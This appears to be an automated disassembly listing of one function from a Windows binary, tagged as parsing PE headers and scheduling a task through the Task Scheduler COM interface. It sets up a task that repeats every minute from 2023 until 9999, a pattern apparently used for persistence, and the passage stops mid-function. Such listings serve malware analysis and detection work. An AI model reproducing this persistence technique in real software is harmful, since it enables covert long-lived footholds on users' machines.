Function at 0x412018
Capabilities:
Parse pe header
Schedule task via itaskservice

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x72c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x28], 0x44256c
mov dword [ebp - 0x24], 0x444dd4
mov eax, ebp
mov dword [ebp - 0x20], eax
mov eax, esp
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], 0x414265
mov dword [ebp - 0x3c], 1
lea eax, [ebp - 0x44]
call fcn.004431d5
mov eax, esp
mov dword [eax], 0
call sub.OLE32.DLL_CoInitialize
sub esp, 4
mov dword [ebp - 0x458], eax
jmp 0x412073
mov eax, dword [ebp - 0x458]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jge 0x4121ad
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x80], eax
mov byte [ebp - 0xb1], 1
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x3c], 2
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0xb0]
mov dword [edx], ecx
mov dword [ebp - 0x45c], eax
call fcn.00411cc8
jmp 0x4120cd
mov dword [ebp - 0x3c], 3
mov eax, esp
lea ecx, [ebp - 0xb0]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x45c]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x4120ee
mov byte [ebp - 0xb1], 0
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x3c], 4
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x414265
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x460], edx
mov dword [ebp - 0x464], eax
jmp 0x4141eb
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x468], edx
mov dword [ebp - 0x46c], eax
jmp 0x412191
lea ecx, [ebp - 0xb0]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x470], edx
mov dword [ebp - 0x474], eax
call fcn.00411d4c
test byte [ebp - 0xb1], 1
jne 0x41219c
jmp 0x4121a8
mov eax, dword [ebp - 0x80]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x4141eb
mov dword [ebp - 0x3c], 5
mov eax, esp
lea ecx, [ebp - 0xb8]
mov dword [eax + 0x10], ecx
mov dword [eax + 0xc], 0x445eb4
mov dword [eax + 8], 1
mov dword [eax + 4], 0
mov dword [eax], 0x445ee4
call sub.OLE32.DLL_CoCreateInstance
sub esp, 0x14
mov dword [ebp - 0x478], eax
jmp 0x4121ea
mov eax, dword [ebp - 0x478]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jge 0x412301
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x7c], eax
mov byte [ebp - 0xd5], 1
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x3c], 6
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0xd4]
mov dword [edx], ecx
mov dword [ebp - 0x47c], eax
call fcn.00411cc8
jmp 0x412244
mov dword [ebp - 0x3c], 7
mov eax, esp
lea ecx, [ebp - 0xd4]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x47c]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x412265
mov byte [ebp - 0xd5], 0
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x3c], 8
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x414265
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x480], edx
mov dword [ebp - 0x484], eax
jmp 0x4122e5
lea ecx, [ebp - 0xd4]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x488], edx
mov dword [ebp - 0x48c], eax
call fcn.00411d4c
test byte [ebp - 0xd5], 1
jne 0x4122f0
jmp 0x4122fc
mov eax, dword [ebp - 0x7c]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x4141eb
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x28]
mov edx, esp
lea esi, [ebp - 0xf8]
mov dword [edx], esi
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x494], ecx
call fcn.00411d68
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf4]
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0xe8], eax
mov eax, esp
lea ecx, [ebp - 0x118]
mov dword [eax], ecx
call fcn.00411d68
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x114]
mov dword [ebp - 0x104], ecx
mov dword [ebp - 0x108], eax
mov eax, esp
lea ecx, [ebp - 0x138]
mov dword [eax], ecx
call fcn.00411d68
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x134]
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x128], eax
mov eax, esp
lea ecx, [ebp - 0x158]
mov dword [eax], ecx
call fcn.00411d68
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x154]
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x3c], 9
mov eax, dword [ebp - 0x13c]
mov ecx, esp
mov dword [ecx + 0x40], eax
mov eax, dword [ebp - 0x140]
mov dword [ecx + 0x3c], eax
mov eax, dword [ebp - 0x148]
mov edx, dword [ebp - 0x144]
mov dword [ecx + 0x38], edx
mov dword [ecx + 0x34], eax
mov eax, dword [ebp - 0x11c]
mov dword [ecx + 0x30], eax
mov eax, dword [ebp - 0x120]
mov dword [ecx + 0x2c], eax
mov eax, dword [ebp - 0x128]
mov edx, dword [ebp - 0x124]
mov dword [ecx + 0x28], edx
mov dword [ecx + 0x24], eax
mov eax, dword [ebp - 0xfc]
mov dword [ecx + 0x20], eax
mov eax, dword [ebp - 0x100]
mov dword [ecx + 0x1c], eax
mov eax, dword [ebp - 0x108]
mov edx, dword [ebp - 0x104]
mov dword [ecx + 0x18], edx
mov dword [ecx + 0x14], eax
mov eax, dword [ebp - 0xdc]
mov dword [ecx + 0x10], eax
mov eax, dword [ebp - 0xe0]
mov dword [ecx + 0xc], eax
mov eax, dword [ebp - 0xe8]
mov edx, dword [ebp - 0xe4]
mov dword [ecx + 8], edx
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x490]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x494]
call ecx
sub esp, 0x44
mov dword [ebp - 0x498], eax
jmp 0x4124c8
lea eax, [ebp - 0x158]
mov ecx, dword [ebp - 0x498]
mov dword [ebp - 0x8c], ecx
mov dword [esp], eax
call fcn.00411d84
lea eax, [ebp - 0x138]
mov dword [esp], eax
call fcn.00411d84
lea eax, [ebp - 0x118]
mov dword [esp], eax
call fcn.00411d84
lea eax, [ebp - 0xf8]
mov dword [esp], eax
call fcn.00411d84
cmp dword [ebp - 0x8c], 0
jge 0x412672
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x78], eax
mov byte [ebp - 0x175], 1
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x3c], 0xa
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x174]
mov dword [edx], ecx
mov dword [ebp - 0x49c], eax
call fcn.00411cc8
jmp 0x41255a
mov dword [ebp - 0x3c], 0xb
mov eax, esp
lea ecx, [ebp - 0x174]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x49c]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x41257b
mov byte [ebp - 0x175], 0
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x3c], 0xc
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x414265
lea ecx, [ebp - 0x158]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x4a0], edx
mov dword [ebp - 0x4a4], eax
call fcn.00411d84
lea eax, [ebp - 0x138]
mov dword [esp], eax
call fcn.00411d84
lea eax, [ebp - 0x118]
mov dword [esp], eax
call fcn.00411d84
lea eax, [ebp - 0xf8]
mov dword [esp], eax
call fcn.00411d84
jmp 0x4141eb
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x4a8], edx
mov dword [ebp - 0x4ac], eax
jmp 0x412656
lea ecx, [ebp - 0x174]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x4b0], edx
mov dword [ebp - 0x4b4], eax
call fcn.00411d4c
test byte [ebp - 0x175], 1
jne 0x412661
jmp 0x41266d
mov eax, dword [ebp - 0x78]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x4141eb
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x1c]
mov dword [ebp - 0x3c], 0xd
mov edx, esp
lea esi, [ebp - 0x180]
mov dword [edx], esi
mov dword [edx + 4], 0x44489a
mov dword [ebp - 0x4b8], eax
mov dword [ebp - 0x4bc], ecx
call fcn.00411da0
jmp 0x4126a8
mov eax, esp
lea ecx, [ebp - 0x180]
mov dword [eax], ecx
call fcn.00411dcc
mov dword [ebp - 0x3c], 0xe
mov ecx, esp
lea edx, [ebp - 0x17c]
mov dword [ecx + 8], edx
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x4b8]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x4bc]
call ecx
sub esp, 0xc
mov dword [ebp - 0x4c0], eax
jmp 0x4126e7
lea eax, [ebp - 0x180]
mov ecx, dword [ebp - 0x4c0]
mov dword [ebp - 0x8c], ecx
mov dword [esp], eax
call fcn.00411e0c
cmp dword [ebp - 0x8c], 0
jge 0x41283d
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x74], eax
mov byte [ebp - 0x19d], 1
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x3c], 0xf
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x19c]
mov dword [edx], ecx
mov dword [ebp - 0x4c4], eax
call fcn.00411cc8
jmp 0x41274f
mov dword [ebp - 0x3c], 0x10
mov eax, esp
lea ecx, [ebp - 0x19c]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x4c4]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x412770
mov byte [ebp - 0x19d], 0
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x3c], 0x11
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x414265
lea ecx, [ebp - 0x180]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x4c8], edx
mov dword [ebp - 0x4cc], eax
call fcn.00411e0c
jmp 0x4141eb
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x4d0], edx
mov dword [ebp - 0x4d4], eax
jmp 0x412821
lea ecx, [ebp - 0x19c]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x4d8], edx
mov dword [ebp - 0x4dc], eax
call fcn.00411d4c
test byte [ebp - 0x19d], 1
jne 0x41282c
jmp 0x412838
mov eax, dword [ebp - 0x74]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x4141eb
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x24]
mov dword [ebp - 0x3c], 0x12
mov edx, esp
lea esi, [ebp - 0x1a4]
mov dword [edx + 8], esi
mov dword [edx], eax
mov dword [edx + 4], 0
call ecx
sub esp, 0xc
mov dword [ebp - 0x4e0], eax
jmp 0x412870
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jge 0x412987
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x70], eax
mov byte [ebp - 0x1c1], 1
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x3c], 0x13
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x1c0]
mov dword [edx], ecx
mov dword [ebp - 0x4e4], eax
call fcn.00411cc8
jmp 0x4128ca
mov dword [ebp - 0x3c], 0x14
mov eax, esp
lea ecx, [ebp - 0x1c0]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x4e4]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x4128eb
mov byte [ebp - 0x1c1], 0
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x3c], 0x15
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x414265
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x4e8], edx
mov dword [ebp - 0x4ec], eax
jmp 0x41296b
lea ecx, [ebp - 0x1c0]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x4f0], edx
mov dword [ebp - 0x4f4], eax
call fcn.00411d4c
test byte [ebp - 0x1c1], 1
jne 0x412976
jmp 0x412982
mov eax, dword [ebp - 0x70]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x4141eb
mov dword [ebp - 0x1c8], 0
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x3c]
mov dword [ebp - 0x3c], 0x16
mov edx, esp
lea esi, [ebp - 0x1c8]
mov dword [edx + 4], esi
mov dword [edx], eax
call ecx
sub esp, 8
mov dword [ebp - 0x4f8], eax
jmp 0x4129bd
mov eax, dword [ebp - 0x4f8]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jge 0x412ad4
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x6c], eax
mov byte [ebp - 0x1e5], 1
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x3c], 0x17
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x1e4]
mov dword [edx], ecx
mov dword [ebp - 0x4fc], eax
call fcn.00411cc8
jmp 0x412a17
mov dword [ebp - 0x3c], 0x18
mov eax, esp
lea ecx, [ebp - 0x1e4]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x4fc]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x412a38
mov byte [ebp - 0x1e5], 0
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x3c], 0x19
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x414265
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x500], edx
mov dword [ebp - 0x504], eax
jmp 0x412ab8
lea ecx, [ebp - 0x1e4]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x508], edx
mov dword [ebp - 0x50c], eax
call fcn.00411d4c
test byte [ebp - 0x1e5], 1
jne 0x412ac3
jmp 0x412acf
mov eax, dword [ebp - 0x6c]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x4141eb
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x24]
mov dword [ebp - 0x3c], 0x1a
mov edx, esp
lea esi, [ebp - 0x1ec]
mov dword [edx + 4], esi
mov dword [edx], eax
call ecx
sub esp, 8
mov dword [ebp - 0x510], eax
jmp 0x412b00
mov eax, dword [ebp - 0x510]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jge 0x412c17
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x68], eax
mov byte [ebp - 0x209], 1
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x3c], 0x1b
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x208]
mov dword [edx], ecx
mov dword [ebp - 0x514], eax
call fcn.00411cc8
jmp 0x412b5a
mov dword [ebp - 0x3c], 0x1c
mov eax, esp
lea ecx, [ebp - 0x208]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x514]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x412b7b
mov byte [ebp - 0x209], 0
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x3c], 0x1d
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x414265
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x518], edx
mov dword [ebp - 0x51c], eax
jmp 0x412bfb
lea ecx, [ebp - 0x208]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x520], edx
mov dword [ebp - 0x524], eax
call fcn.00411d4c
test byte [ebp - 0x209], 1
jne 0x412c06
jmp 0x412c12
mov eax, dword [ebp - 0x68]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x4141eb
mov eax, dword [ebp - 0x1ec]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x28]
mov dword [ebp - 0x3c], 0x1e
mov edx, esp
lea esi, [ebp - 0x210]
mov dword [edx + 8], esi
mov dword [edx], eax
mov dword [edx + 4], 1
call ecx
sub esp, 0xc
mov dword [ebp - 0x528], eax
jmp 0x412c4a
mov eax, dword [ebp - 0x528]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jge 0x412d61
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x64], eax
mov byte [ebp - 0x22d], 1
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x3c], 0x1f
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x22c]
mov dword [edx], ecx
mov dword [ebp - 0x52c], eax
call fcn.00411cc8
jmp 0x412ca4
mov dword [ebp - 0x3c], 0x20
mov eax, esp
lea ecx, [ebp - 0x22c]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x52c]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x412cc5
mov byte [ebp - 0x22d], 0
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x3c], 0x21
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x414265
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x530], edx
mov dword [ebp - 0x534], eax
jmp 0x412d45
lea ecx, [ebp - 0x22c]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x538], edx
mov dword [ebp - 0x53c], eax
call fcn.00411d4c
test byte [ebp - 0x22d], 1
jne 0x412d50
jmp 0x412d5c
mov eax, dword [ebp - 0x64]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x4141eb
mov dword [ebp - 0x234], 0
mov eax, dword [ebp - 0x210]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x3c], 0x22
mov edx, esp
lea esi, [ebp - 0x238]
mov dword [edx + 8], esi
mov dword [edx], eax
mov dword [edx + 4], 0x445ec4
call ecx
sub esp, 0xc
mov dword [ebp - 0x540], eax
jmp 0x412d9d
mov eax, dword [ebp - 0x540]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jge 0x412eb4
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x60], eax
mov byte [ebp - 0x255], 1
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x3c], 0x23
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x254]
mov dword [edx], ecx
mov dword [ebp - 0x544], eax
call fcn.00411cc8
jmp 0x412df7
mov dword [ebp - 0x3c], 0x24
mov eax, esp
lea ecx, [ebp - 0x254]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x544]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x412e18
mov byte [ebp - 0x255], 0
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x3c], 0x25
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x414265
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x548], edx
mov dword [ebp - 0x54c], eax
jmp 0x412e98
lea ecx, [ebp - 0x254]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x550], edx
mov dword [ebp - 0x554], eax
call fcn.00411d4c
test byte [ebp - 0x255], 1
jne 0x412ea3
jmp 0x412eaf
mov eax, dword [ebp - 0x60]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x4141eb
mov eax, dword [ebp - 0x238]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x28]
mov dword [ebp - 0x3c], 0x26
mov edx, esp
lea esi, [ebp - 0x234]
mov dword [edx + 4], esi
mov dword [edx], eax
call ecx
sub esp, 8
mov dword [ebp - 0x558], eax
jmp 0x412ee0
mov eax, dword [ebp - 0x558]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jge 0x412ff7
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x5c], eax
mov byte [ebp - 0x275], 1
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x3c], 0x27
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x274]
mov dword [edx], ecx
mov dword [ebp - 0x55c], eax
call fcn.00411cc8
jmp 0x412f3a
mov dword [ebp - 0x3c], 0x28
mov eax, esp
lea ecx, [ebp - 0x274]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x55c]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x412f5b
mov byte [ebp - 0x275], 0
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x3c], 0x29
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x414265
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x560], edx
mov dword [ebp - 0x564], eax
jmp 0x412fdb
lea ecx, [ebp - 0x274]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x568], edx
mov dword [ebp - 0x56c], eax
call fcn.00411d4c
test byte [ebp - 0x275], 1
jne 0x412fe6
jmp 0x412ff2
mov eax, dword [ebp - 0x5c]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x4141eb
mov eax, dword [ebp - 0x234]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x20]
mov dword [ebp - 0x3c], 0x2a
mov edx, esp
lea esi, [ebp - 0x27c]
mov dword [edx], esi
mov dword [edx + 4], str.PT1M
mov dword [ebp - 0x570], eax
mov dword [ebp - 0x574], ecx
call fcn.00411da0
jmp 0x41302d
mov eax, esp
lea ecx, [ebp - 0x27c]
mov dword [eax], ecx
call fcn.00411dcc
mov dword [ebp - 0x3c], 0x2b
mov ecx, esp
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x570]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x574]
call ecx
sub esp, 8
mov dword [ebp - 0x578], eax
jmp 0x413063
mov eax, esp
lea ecx, [ebp - 0x27c]
mov dword [eax], ecx
call fcn.00411e0c
mov eax, dword [ebp - 0x238]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x3c]
mov dword [ebp - 0x3c], 0x2c
mov edx, esp
lea esi, [ebp - 0x280]
mov dword [edx], esi
mov dword [edx + 4], str.2023_02_08T00:00:00
mov dword [ebp - 0x57c], eax
mov dword [ebp - 0x580], ecx
call fcn.00411da0
jmp 0x4130a8
mov eax, esp
lea ecx, [ebp - 0x280]
mov dword [eax], ecx
call fcn.00411dcc
mov dword [ebp - 0x3c], 0x2d
mov ecx, esp
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x57c]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x580]
call ecx
sub esp, 8
mov dword [ebp - 0x584], eax
jmp 0x4130de
mov eax, esp
lea ecx, [ebp - 0x280]
mov dword [eax], ecx
call fcn.00411e0c
mov eax, dword [ebp - 0x238]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x44]
mov dword [ebp - 0x3c], 0x2e
mov edx, esp
lea esi, [ebp - 0x284]
mov dword [edx], esi
mov dword [edx + 4], str.9999_12_31T23:59:59
mov dword [ebp - 0x588], eax
mov dword [ebp - 0x58c], ecx
call fcn.00411da0
jmp 0x413123
mov eax, esp
lea ecx, [ebp - 0x284]
mov dword [eax], ecx
call fcn.00411dcc
mov dword [ebp - 0x3c], 0x2f
mov ecx, esp
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x588]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x58c]
call ecx
sub esp, 8
mov dword [ebp - 0x590], eax
jmp 0x413159
mov eax, esp
lea ecx, [ebp - 0x284]
mov dword [eax], ecx
call fcn.00411e0c
mov eax, dword [ebp - 0x238]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x24]
mov dword [ebp - 0x3c], 0x30
mov edx, esp
lea esi, [ebp - 0x288]
mov dword [edx], esi
mov dword [edx + 4], str.1B1346FC_17CE_4872_A93A_2BFC23C162AB
mov dword [ebp - 0x594], eax
mov dword [ebp - 0x598], ecx
call fcn.00411da0
jmp 0x41319e
mov eax, esp
lea ecx, [ebp - 0x288]
mov dword [eax], ecx
call fcn.00411dcc
mov dword [ebp - 0x3c], 0x31
mov ecx, esp
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x594]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x598]
call ecx
sub esp, 8
mov dword [ebp - 0x59c], eax
jmp 0x4131d4
mov eax, esp
lea ecx, [ebp - 0x288]
